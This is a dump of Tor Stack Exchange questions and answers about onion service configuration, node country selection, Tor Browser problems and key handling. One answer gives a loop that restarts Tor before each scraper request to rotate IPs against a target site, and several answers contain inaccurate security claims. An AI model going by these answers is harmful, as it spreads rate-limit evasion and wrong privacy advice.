  <row Id="23388" PostTypeId="1" AcceptedAnswerId="23389" CreationDate="2022-11-03T12:40:03.813" Score="0" ViewCount="272" Body="&lt;p&gt;I have set up an onion service to access my local network without forwarding ports. The service doesn't need to be anonymous and I am the only one accessing it (client authentication). So I want to have as few hops as possible to access it.&lt;/p&gt;&#xA;&lt;p&gt;How can I configure the hop count to absolute minimum?&lt;/p&gt;&#xA;" OwnerUserId="33696" LastActivityDate="2022-11-03T13:51:14.163" Title="How to set hop count to 1?" Tags="|configuration|onion-services|one-hop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23389" PostTypeId="2" ParentId="23388" CreationDate="2022-11-03T13:51:14.163" Score="1" Body="&lt;p&gt;You need to set &lt;code&gt;HiddenServiceSingleHopMode 1&lt;/code&gt; and &lt;code&gt;HiddenServiceNonAnonymousMode 1&lt;/code&gt; in your server's torrc configuration file. This will use a single hop circuit on the onion service's side. You cannot change the number of hops on the client's side (without using Tor's control API), so between the client and the onion service there will be 4 hops in total.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-11-03T13:51:14.163" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23394" PostTypeId="2" ParentId="23356" CreationDate="2022-11-04T21:46:30.367" Score="0" Body="&lt;p&gt;So for some interesting reasons that I absolutely don't understand my Tor Browser only opens through RightClick_on_shortcut -&amp;gt; Start Tor Browser but not through just double click on desktop shortcut. That's weird because that feature stays even after reinstall. I even checked the path to exe and it's the same on both desktop shortcut and it's button.&lt;/p&gt;&#xA;" OwnerUserId="37381" LastActivityDate="2022-11-04T21:46:30.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23395" PostTypeId="1" CreationDate="2022-11-05T15:00:07.973" Score="1" ViewCount="98" Body="&lt;p&gt;I am using Tor Browser 11.5.7 (based on Mozilla Firefox 91.13.0esr) (64-bit)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.torproject.org/onionservices/onion-location/&quot; rel=&quot;nofollow noreferrer&quot;&gt;torproject support&lt;/a&gt; says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Onion-Location is a new HTTP header that web sites can use to&#xA;advertise their onion counterpart. If the web site that you're&#xA;visiting has an onion site available, a purple suggestion pill will&#xA;prompt at the URL bar saying &amp;quot;.onion available&amp;quot;. When you click on&#xA;&amp;quot;.onion available&amp;quot;, the web site will be reloaded and redirected to&#xA;its onion counterpart.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Earlier, when I browsed a site (in Tor Browser) which has a .onion counterpart, the browser would suggest &amp;quot;.onion available&amp;quot;. Now it is not doing that. What might be the reason? How can I get the early behavior?&lt;/p&gt;&#xA;" OwnerUserId="37515" LastEditorUserId="37515" LastEditDate="2022-11-05T15:36:52.917" LastActivityDate="2022-11-26T14:24:21.450" Title="Tor Browser not suggesting &quot;.onion available&quot;?" Tags="|tor-browser-bundle|configuration|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23396" PostTypeId="1" CreationDate="2022-11-05T18:21:24.007" Score="0" ViewCount="72" Body="&lt;p&gt;I followed this post:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.privex.io/articles/setup-tor-hidden-service-website/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.privex.io/articles/setup-tor-hidden-service-website/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;to create a local lan website with ubuntu.&lt;/p&gt;&#xA;&lt;p&gt;But After I configurated and restarted the tor service.&lt;/p&gt;&#xA;&lt;p&gt;No hostname file was created.&lt;/p&gt;&#xA;&lt;p&gt;I am now in China.&lt;/p&gt;&#xA;&lt;p&gt;And some outgoing connections maybe blocked.&lt;/p&gt;&#xA;&lt;p&gt;Is it a possible reason why I can't get the hostname?&lt;/p&gt;&#xA;&lt;p&gt;How can I determine the reason why I can get the hostname?&lt;/p&gt;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="37517" LastEditorUserId="37517" LastEditDate="2022-11-05T18:22:45.103" LastActivityDate="2022-11-26T15:07:51.587" Title="Unable get hidden service address" Tags="|configuration|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23401" PostTypeId="1" CreationDate="2022-11-08T12:19:20.683" Score="2" ViewCount="111" Body="&lt;p&gt;I'm relatively new to Tor, so sorry for my dumb question.&lt;/p&gt;&#xA;&lt;p&gt;But is adding bridges, relays, using snowflake(this one is also detectable) or other plugins useful inside a filtering country?&#xA;my guess was if I add any of those, it could have a reverse impact on Tor's performance as it sees more points to connect,  however none of those are exit points.&lt;/p&gt;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="37531" LastActivityDate="2022-11-20T15:21:03.843" Title="Is adding bridges or relay helpful inside a censoring region?" Tags="|relays|bridge|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23402" PostTypeId="2" ParentId="5977" CreationDate="2022-11-08T21:43:00.347" Score="1" Body="&lt;p&gt;The right syntax in 2022 are for your sample, the follow:&lt;/p&gt;&#xA;&lt;p&gt;ExcludeExitNodes {fr}, {de} StrictNodes 1&lt;/p&gt;&#xA;&lt;p&gt;The follow should be more save. The additional {??} should protect you for Server whith unknown IP-country relation.&lt;/p&gt;&#xA;&lt;p&gt;ExcludeExitNodes {fr}, {de}, {??} StrictNodes 1&lt;/p&gt;&#xA;&lt;p&gt;The two-character country code according to ISO3166 can be used in either upper or lower case letters.&lt;/p&gt;&#xA;" OwnerUserId="30335" LastEditorUserId="30335" LastEditDate="2022-11-09T09:28:06.937" LastActivityDate="2022-11-09T09:28:06.937" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23403" PostTypeId="2" ParentId="6812" CreationDate="2022-11-08T21:45:44.530" Score="1" Body="&lt;p&gt;The right syntax in 2022 are for your sample, the follow:&lt;/p&gt;&#xA;&lt;p&gt;ExitNodes {ru} StrictNodes 1&lt;/p&gt;&#xA;&lt;p&gt;The follow should be more save. The additional {??} should protect you for Server whith unknown IP-country relation.&lt;/p&gt;&#xA;&lt;p&gt;ExitNodes {ru}, {??} StrictNodes 1&lt;/p&gt;&#xA;" OwnerUserId="30335" LastEditorUserId="30335" LastEditDate="2022-11-08T22:59:31.360" LastActivityDate="2022-11-08T22:59:31.360" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23404" PostTypeId="1" AcceptedAnswerId="23409" CreationDate="2022-11-08T22:04:44.267" Score="0" ViewCount="2320" Body="&lt;p&gt;Its known its possible to set specific countrys by adding lines like follow, to torrc file from Tor browser.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;EntryNodes {??},{ug},{us},{fr} StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {??},{ug},{us},{fr} StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Its known its possible to exclude specific countrys by adding line like follow, to torrc file as entry, middle and exid node for Tor browser.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExcludeNodes {??},{ug},{us},{fr} StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Its known its possible to exclude specific countrys by adding line like follow, to torrc file as entry, middle and exid node for Tor browser.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExcludeExitNodes {??},{ug},{us},{fr} StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The two-character country code on samples above, according to ISO3166 can be used in either upper or lower case letters.&lt;/p&gt;&#xA;&lt;p&gt;How to exclude specific country by adding some stuff on torrc file, only as Tor Entry node?&lt;/p&gt;&#xA;&lt;p&gt;To setup a actual full country list minus the country which should be excluded, don't make much sense, because the count of country and the country list are not static and change a little bit from time to time.&lt;/p&gt;&#xA;" OwnerUserId="30335" LastEditorUserId="30335" LastEditDate="2022-11-10T11:42:58.207" LastActivityDate="2023-05-05T11:57:30.680" Title="How to exclude specific county from Entry Node by torrc file?" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23406" PostTypeId="1" CreationDate="2022-11-09T01:50:04.040" Score="1" ViewCount="289" Body="&lt;p&gt;I realise this question has been asked so many times yet the solutions provided don't seem to work for me. I'm inclined to reinstall but first wanted to ask and try to understand the problem.&lt;/p&gt;&#xA;&lt;p&gt;I run Tor on an old Windows 7 32 bit laptop. It's simply all I have available for it now. As of a few days ago it suddenly won't start anymore with the infamous 'not have permission to acces profile.. Adjust file system permissions' error.&lt;/p&gt;&#xA;&lt;p&gt;I have changed nothing on my laptop, no updates and the only reason I can think of is the update of Torbrowser itself -which goes automatically as you know.&lt;/p&gt;&#xA;&lt;p&gt;All permissions are on, logged in as Admin or user.. Nothing.&lt;/p&gt;&#xA;&lt;p&gt;Is Torbrowser no longer backwards compatible with Windows 7? In that case a fresh install won't solve anything and I need to find the former version and somehow prevent it from auto-updating which is not great in terms of security and defies the whole purpose.&lt;/p&gt;&#xA;&lt;p&gt;Can anyone shine some light on this matter? Are there known problems with backwards compatibility since the last update and will uninstalling/thoroughly cleaning the registry solve the problem (meanwhile losing my bookmarks etx.)?&lt;/p&gt;&#xA;&lt;p&gt;Sorry and Thanks!&lt;/p&gt;&#xA;" OwnerUserId="37535" LastActivityDate="2022-11-09T21:05:55.820" Title="Sudden Tor Browser doesn't start anymore due to no file access permission" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23407" PostTypeId="2" ParentId="6448" CreationDate="2022-11-09T15:21:54.400" Score="1" Body="&lt;p&gt;Seems like on the day you asked this question, the &lt;code&gt;tor --hash-password&lt;/code&gt; command had a bug, and now it's fixed. You can use it to hash your password.&lt;/p&gt;&#xA;&lt;p&gt;For the Windows users, you can use the following command to hash your password:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.\tor.exe --hash-password &amp;quot;mypassword&amp;quot; | echo &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;| echo&lt;/code&gt; is for printing the output of the command.&lt;/p&gt;&#xA;" OwnerUserId="37539" LastActivityDate="2022-11-09T15:21:54.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23408" PostTypeId="1" CreationDate="2022-11-09T18:13:15.230" Score="1" ViewCount="976" Body="&lt;p&gt;Sorry, I'm new to this. From TOR's FAQ: Don't open documents downloaded through Tor while online&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Tor Browser will warn you before automatically opening documents that&#xA;are handled by external applications. DO NOT IGNORE THIS WARNING. You&#xA;should be very careful when downloading documents via Tor (especially&#xA;DOC and PDF files, unless you use the PDF viewer that's built into Tor&#xA;Browser) as these documents can contain Internet resources that will&#xA;be downloaded outside of Tor by the application that opens them. This&#xA;will reveal your non-Tor IP address. If you must work with files&#xA;downloaded via Tor, we strongly recommend either using a disconnected&#xA;computer, or using dangerzone to create safe PDF files that you can&#xA;open. Under no circumstances is it safe to use BitTorrent and Tor&#xA;together, however.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I assume that files like images and videos could also be bugged with trackers. The FAQ suggests method to contain the files but I'd like to know if they can be sanitized instead.&#xA;Can the trackers be identified with antiviruses like Malwarebytes? Can they be deleted if I convert the file through softwares like Photoshop or HandBrake?&lt;/p&gt;&#xA;" OwnerUserId="37541" LastActivityDate="2022-11-09T20:57:36.797" Title="Files downloaded from TOR could have trackers which act through outgoing connections. How to identify and remove the trackers?" Tags="|tor-browser-bundle|firewall|malware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23409" PostTypeId="2" ParentId="23404" CreationDate="2022-11-09T19:41:53.600" Score="2" Body="&lt;p&gt;First, create a list of all country codes: &lt;a href=&quot;https://b3rn3d.herokuapp.com/blog/2014/03/05/tor-country-codes&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://b3rn3d.herokuapp.com/blog/2014/03/05/tor-country-codes&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I created in advance:&lt;/p&gt;&#xA;&lt;p&gt;{ac},{af},{ax},{al},{dz},{ad},{ao},{ai},{aq},{ag},{ar},{am},{aw},{au},{at},{az},{bs},{bh},{bd},{bb},{by},{be},{bz},{bj},{bm},{bt},{bo},{ba},{bw},{bv},{br},{io},{vg},{bn},{bg},{bf},{bi},{kh},{cm},{ca},{cv},{ky},{cf},{td},{cl},{cn},{cx},{cc},{co},{km},{cg},{cd},{ck},{cr},{ci},{hr},{cu},{cy},{cz},{dk},{dj},{dm},{do},{tp},{ec},{eg},{sv},{gq},{ee},{et},{fk},{fo},{fj},{fi},{fr},{fx},{gf},{pf},{tf},{ga},{gm},{ge},{de},{gh},{gi},{gr},{gl},{gd},{gp},{gu},{gt},{gn},{gw},{gy},{ht},{hm},{hn},{hk},{hu},{is},{in},{id},{ir},{iq},{ie},{im},{il},{it},{jm},{jp},{jo},{kz},{ke},{ki},{kp},{kr},{kw},{kg},{la},{lv},{lb},{ls},{lr},{ly},{li},{lt},{lu},{mo},{mk},{mg},{mw},{my},{mv},{ml},{mt},{mh},{mq},{mr},{mu},{yt},{mx},{fm},{md},{mc},{mn},{me},{ms},{ma},{mz},{mm},{na},{nr},{np},{an},{nl},{nc},{nz},{ni},{ne},{ng},{nu},{nf},{mp},{no},{om},{pk},{pw},{ps},{pa},{pg},{py},{pe},{ph},{pn},{pl},{pt},{pr},{qa},{re},{ro},{ru},{rw},{ws},{sm},{st},{sa},{uk},{sn},{rs},{sc},{sl},{sg},{sk},{si},{sb},{so},{as},{za},{gs},{su},{es},{lk},{sh},{kn},{lc},{pm},{vc},{sd},{sr},{sj},{sz},{se},{ch},{sy},{tw},{tj},{tz},{th},{tg},{tk},{to},{tt},{tn},{tr},{tm},{tc},{tv},{ug},{ua},{ae},{gb},{uk},{us},{um},{uy},{uz},{vu},{va},{ve},{vn},{vi},{wf},{eh},{ye},{zm},{zw}&lt;/p&gt;&#xA;&lt;p&gt;What you should do is excluding the country code you wish from the list and add the block to torrc together with EntryNodes and set StrictNodes to 1.&lt;/p&gt;&#xA;&lt;p&gt;The country codes can be written in small letters and in capitals. Booth are valid in this case.&lt;/p&gt;&#xA;" OwnerUserId="34847" LastEditorUserId="30335" LastEditDate="2023-05-05T11:57:30.680" LastActivityDate="2023-05-05T11:57:30.680" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23410" PostTypeId="2" ParentId="23408" CreationDate="2022-11-09T20:57:36.797" Score="0" Body="&lt;p&gt;If you convert your file to a pure text file, that should be almost save from aspect of online tracing by viewing your file, if you are connected to the internet . All other formats are known as potential more critical.&lt;/p&gt;&#xA;&lt;p&gt;If you open your downloaded files, only if you are offline (switch of your internet connection), that should be save in some aspects of online tracing, also.&lt;/p&gt;&#xA;" OwnerUserId="30335" LastActivityDate="2022-11-09T20:57:36.797" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23411" PostTypeId="2" ParentId="23406" CreationDate="2022-11-09T21:05:55.820" Score="0" Body="&lt;p&gt;Download a new Win7 compatible standalone 32 bis version and test this its working on your system.&lt;/p&gt;&#xA;&lt;p&gt;If the downloaded version is working fine, clear up how to import how to import your old bookmarks.&lt;/p&gt;&#xA;" OwnerUserId="30335" LastActivityDate="2022-11-09T21:05:55.820" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23413" PostTypeId="1" CreationDate="2022-11-11T16:47:08.643" Score="1" ViewCount="107" Body="&lt;p&gt;I've reviewed and reread several guides on how to make https for localhost in xampp, but replacing localhost in the configuration with my .onion name didn't help me set it up as https - it just won't load.&lt;/p&gt;&#xA;&lt;p&gt;How do I set up https for an onion site based on XAMPP? Maybe someone has done this before?&lt;/p&gt;&#xA;" OwnerUserId="37551" LastActivityDate="2022-11-22T20:53:05.180" Title="How can I configure https for .onion in XAMPP?" Tags="|onion-services|https|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23414" PostTypeId="1" CreationDate="2022-11-13T17:49:31.047" Score="1" ViewCount="91" Body="&lt;p&gt;Example: When using cellular data it is common to lose connection, and reconnect. How does Tor Browser deal with this, are there any security implications? i.e leaking of data to connected websites?&lt;/p&gt;&#xA;" OwnerUserId="37558" LastActivityDate="2022-11-13T17:49:31.047" Title="How does Tor deal with IP changes on cellular data" Tags="|configuration|android|torcheck|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23415" PostTypeId="2" ParentId="10129" CreationDate="2022-11-14T18:51:21.953" Score="1" Body="&lt;p&gt;To add to what mentioned earlier I would like to say that you can use  sudo command at the beginning of the command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo torify &amp;lt;command&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but don't use torify at the beginning&lt;/p&gt;&#xA;" OwnerUserId="37575" LastActivityDate="2022-11-14T18:51:21.953" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23416" PostTypeId="1" AcceptedAnswerId="23417" CreationDate="2022-11-15T13:57:33.287" Score="1" ViewCount="169" Body="&lt;p&gt;I read that to be able to browse anonymously, using only Tor is not sufficient: Your ISP can see that you are on Tor but he cannot see what pages you are visiting because of onion routing.&lt;/p&gt;&#xA;&lt;p&gt;On the official Whonix page they affirm that their OS protects privacy more than a VPN:&#xA;&lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;See the picture HERE&lt;/a&gt;.&#xA;This seems a very adequate solution because whonix is free and opensource while nowadays there is no free VPN.&lt;/p&gt;&#xA;&lt;p&gt;Suppose a user runs whonix inside virtualBox on a host whose wifi is public (&lt;em&gt;there is no password to connect to the wifi, you should login with your personal account to access internet&lt;/em&gt;), I am having trouble to see how the user internet traffic is protected.&lt;/p&gt;&#xA;&lt;p&gt;I mean even if it is encrypted by whonix, isn't it passing through the host and thus the ISP can see the user is on Tor (Tor nodes ips are public...)&lt;/p&gt;&#xA;&lt;p&gt;Side question: Is using a private wifi (WPA protected) better or is it the same thing ?&lt;/p&gt;&#xA;" OwnerUserId="37581" LastActivityDate="2022-11-15T20:02:34.267" Title="Does using Tor via Whonix protects privacy over public Wifi" Tags="|tor-browser-bundle|anonymity|vpn|whonix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23417" PostTypeId="2" ParentId="23416" CreationDate="2022-11-15T20:02:34.267" Score="1" Body="&lt;p&gt;It would be the same if using a private wifi or a public one, it's because Tor is already ENCRYPTED. This is the obvious reason they created HTTPS&lt;/p&gt;&#xA;&lt;p&gt;What matters is the fact that anyone can identify you. But the public wifi operator would know that you are using Tor.&lt;/p&gt;&#xA;&lt;p&gt;The only problem would be if the public wifi operator blocks Tor, but you could use bridges, and also using bridges could prevent the operator to know you are using Tor.&lt;/p&gt;&#xA;&lt;p&gt;And yes, Whonix is safer than a VPN because many info about your hardware and fingerprints would be anonymized, I'm sure fingerprints would be totally different between host and VM guest.&lt;/p&gt;&#xA;" OwnerUserId="34847" LastActivityDate="2022-11-15T20:02:34.267" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23418" PostTypeId="2" ParentId="9908" CreationDate="2022-11-16T04:24:33.857" Score="1" Body="&lt;p&gt;Unfortunately, as of 2022, the same issue applies to Twitter's onion service (which one would hope would be more privacy-friendly).  Registering via the onion appears to work with only an email address (it requires a CAPTCHA, but the CAPTCHA is not difficult), but the account gets locked a few minutes after registration, at which point Twitter demands a phone number.&lt;/p&gt;&#xA;&lt;p&gt;(Would have posted this as a comment since that's the right place for it, but it seems Stack Exchange won't let me post it there.)&lt;/p&gt;&#xA;" OwnerUserId="37585" LastActivityDate="2022-11-16T04:24:33.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23419" PostTypeId="1" CreationDate="2022-11-17T12:53:22.327" Score="2" ViewCount="48" Body="&lt;p&gt;Assume I generate a Private key for a hidden service. Assume I receive it in base64 encoding (this can happen for example by using shallot and posting the results to stdout). Assume I install tor and the hidden service as root, but tor runs with another user (ie. debian-tor).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Is there a good way to deploy the key to the server, without leaving is base64 encoded in the bash history?&lt;/strong&gt; It would stay in the history if I do it like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo base64encodedsecretkeyxxxxxxxxxxxxxx | base64 --decode &amp;gt; /var/lib/tor/hidden-service-pk-file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;And would it be a security issue if it is in the bash history of root?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;My assumption is: to retrieve the code from the bash history someone would have to&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;log in as root OR&lt;/li&gt;&#xA;&lt;li&gt;put the hard drive into another computer, where root access is available&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Either way the private key would be accessible (even if it is not in the bash history).&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Background of my question:&lt;/em&gt; I want to describe to someone else, how to properly set up a hidden service - I don't want to do the procedure for him though. So I'm looking for a way to describe how to deploy the key correctly.&lt;/p&gt;&#xA;" OwnerUserId="37592" LastActivityDate="2022-11-17T15:31:02.770" Title="Private key in bash history a security issue?" Tags="|configuration|onion-services|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23420" PostTypeId="2" ParentId="23419" CreationDate="2022-11-17T15:31:02.770" Score="1" Body="&lt;p&gt;Bash doesn't write the history to disk until it exits (or until you call something like &lt;code&gt;history -w&lt;/code&gt;), so you can run &lt;code&gt;history -c&lt;/code&gt; in bash to clear the current in-process history after you've run the &lt;code&gt;echo&lt;/code&gt; command. In bash you can also start your command with a space character &amp;quot;&lt;code&gt; &lt;/code&gt;&amp;quot;, which tells bash to not include the command in the history.&lt;/p&gt;&#xA;&lt;p&gt;You might also want to be careful that your command doesn't expose your key through tools like top. For example if you were to run the command &lt;code&gt;tor --help&lt;/code&gt;, other users would be able to see that you ran tor with the &lt;code&gt;--help&lt;/code&gt; flag. In this case, bash has a built-in &lt;code&gt;echo&lt;/code&gt; command (it &lt;em&gt;doesn't&lt;/em&gt; call &lt;code&gt;/usr/bin/echo&lt;/code&gt;), so I don't think &lt;code&gt;echo base64encodedsecretkey&lt;/code&gt; would show up in a process list, but it's something to keep in mind, especially if you were using something other than &lt;code&gt;echo&lt;/code&gt;, or a different shell.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;My assumption is: to retrieve the code from the bash history someone would have to&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;log in as root OR&lt;/li&gt;&#xA;&lt;li&gt;put the hard drive into another computer, where root access is available&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Either way the private key would be accessible (even if it is not in the bash history).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Right, if you ran the command as root, then the bash history should only be readable by root (assuming you have your permissions set correctly, which should be the default), or anything running with root permissions (docker, etc). And if the user can run their own OS, then they can read any file, including the bash history of root or the private key directly.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-11-17T15:31:02.770" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23421" PostTypeId="2" ParentId="23401" CreationDate="2022-11-18T12:59:59.127" Score="0" Body="&lt;p&gt;Well, it's not mandatory, if it works without them. But the list of bridges is a must in a censored areas. The best ones are your own private ones on VPS wit the proper scrambling&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-11-18T12:59:59.127" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23423" PostTypeId="2" ParentId="23401" CreationDate="2022-11-20T15:21:03.843" Score="0" Body="&lt;p&gt;Assuming your country does not block TOR, you are encouraged to run a bridge (obfs4 or SnowFlake) there. You only are not encouraged to run an exit node there if your country censors the Internet. But there is a difference between running a bridge and running an exit node.&lt;/p&gt;&#xA;" OwnerUserId="27924" LastActivityDate="2022-11-20T15:21:03.843" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23424" PostTypeId="2" ParentId="23378" CreationDate="2022-11-22T20:34:43.550" Score="0" Body="&lt;p&gt;Two answers:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Please understand what it is that you are downloading. Tor is run by The &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Project&lt;/a&gt;. There is no official Tor Browser for iphones, but the Tor Projects suggests that you use one called &lt;a href=&quot;https://support.torproject.org/tormobile/tormobile-3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Onion Browser&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;We will not give you URLs for Onion marketplaces on this site. Check with Reddit's &lt;a href=&quot;https://www.reddit.com/r/onions/&quot; rel=&quot;nofollow noreferrer&quot;&gt;r/onions&lt;/a&gt; subreddit.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2022-11-22T20:34:43.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23425" PostTypeId="2" ParentId="23413" CreationDate="2022-11-22T20:53:05.180" Score="0" Body="&lt;p&gt;HTTPS requires a signed SSL certificate. You can not use Let's Encrypt and so you will need to to buy a certificate from a provider (they are not cheap). Once you have a certificate, then you can you it with your XAMPP configuration.&lt;/p&gt;&#xA;&lt;p&gt;If you aren't familiar with SSL certificates, then I would suggest researching that first.&lt;/p&gt;&#xA;&lt;p&gt;One more thing, make sure your onion service is using port 443 and not port 80. If you don't use the right port, nothing can connect.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2022-11-22T20:53:05.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23428" PostTypeId="2" ParentId="20187" CreationDate="2022-11-25T05:37:29.787" Score="0" Body="&lt;p&gt;Just Restart the TOR for getting fresh IPs in any amount of time.&#xA;Eg. I developed this script in Linux to change my IP for every hit over the target site for scraping it.&lt;/p&gt;&#xA;&lt;p&gt;Bash:&#xA;//////&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;while true&lt;/li&gt;&#xA;&lt;li&gt;do&lt;/li&gt;&#xA;&lt;li&gt;service tor start&lt;/li&gt;&#xA;&lt;li&gt;python3 scraper.py&lt;/li&gt;&#xA;&lt;li&gt;service tor stop&lt;/li&gt;&#xA;&lt;li&gt;done&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;//////&lt;/p&gt;&#xA;&lt;p&gt;So, It was changing the IP for every hit over the target site.&lt;/p&gt;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="37621" LastEditorUserId="37621" LastEditDate="2022-11-25T05:40:37.873" LastActivityDate="2022-11-25T05:40:37.873" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23429" PostTypeId="1" CreationDate="2022-11-25T12:39:38.987" Score="0" ViewCount="233" Body="&lt;p&gt;I have a question related to Tor middle node. I already see some of the answers from here. But non of them is recent so I was thinking maybe some imporoment happen in Tor by now. I want to choose a path in a tor such a way that it always use same middle node and exit node. Now i know how to do it with exit node in torrc file but having no idea how to do it with middle node. or if it possible with stem it will be also good. but at the end i want same middle node and exit node. like &lt;code&gt;MiddleNodes = 192.168.1.1&lt;/code&gt; and &lt;code&gt;ExitNodes = 72.84.1.7&lt;/code&gt;. All the circuit need to use these two node and start node need to be change for every circuit.&lt;/p&gt;&#xA;" OwnerUserId="37622" LastEditorUserId="37622" LastEditDate="2022-11-26T00:39:25.947" LastActivityDate="2022-11-26T00:39:25.947" Title="How to use a specfic Tor middle node" Tags="|configuration|python|stem|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23430" PostTypeId="1" AcceptedAnswerId="23431" CreationDate="2022-11-26T02:44:45.547" Score="0" ViewCount="194" Body="&lt;p&gt;If so, will it log the addresses of visited sites, just that I'm using Tor, or something else? I've gotten mixed answers from research, most saying that it'll only see I'm using Tor. However, it's unclear which router is being referred to in many answers--I'm talking &lt;em&gt;specifically&lt;/em&gt; about the home router.&lt;/p&gt;&#xA;&lt;p&gt;(New to Tor and internet anonymity in general)&lt;/p&gt;&#xA;" OwnerUserId="37624" LastActivityDate="2022-11-26T13:48:56.777" Title="When using Tor, will a personal router log my traffic?" Tags="|log|routers|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23431" PostTypeId="2" ParentId="23430" CreationDate="2022-11-26T13:48:56.777" Score="0" Body="&lt;p&gt;No.&#xA;All other people can see that you use tor and encrypted data.&lt;/p&gt;&#xA;" OwnerUserId="37625" LastActivityDate="2022-11-26T13:48:56.777" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
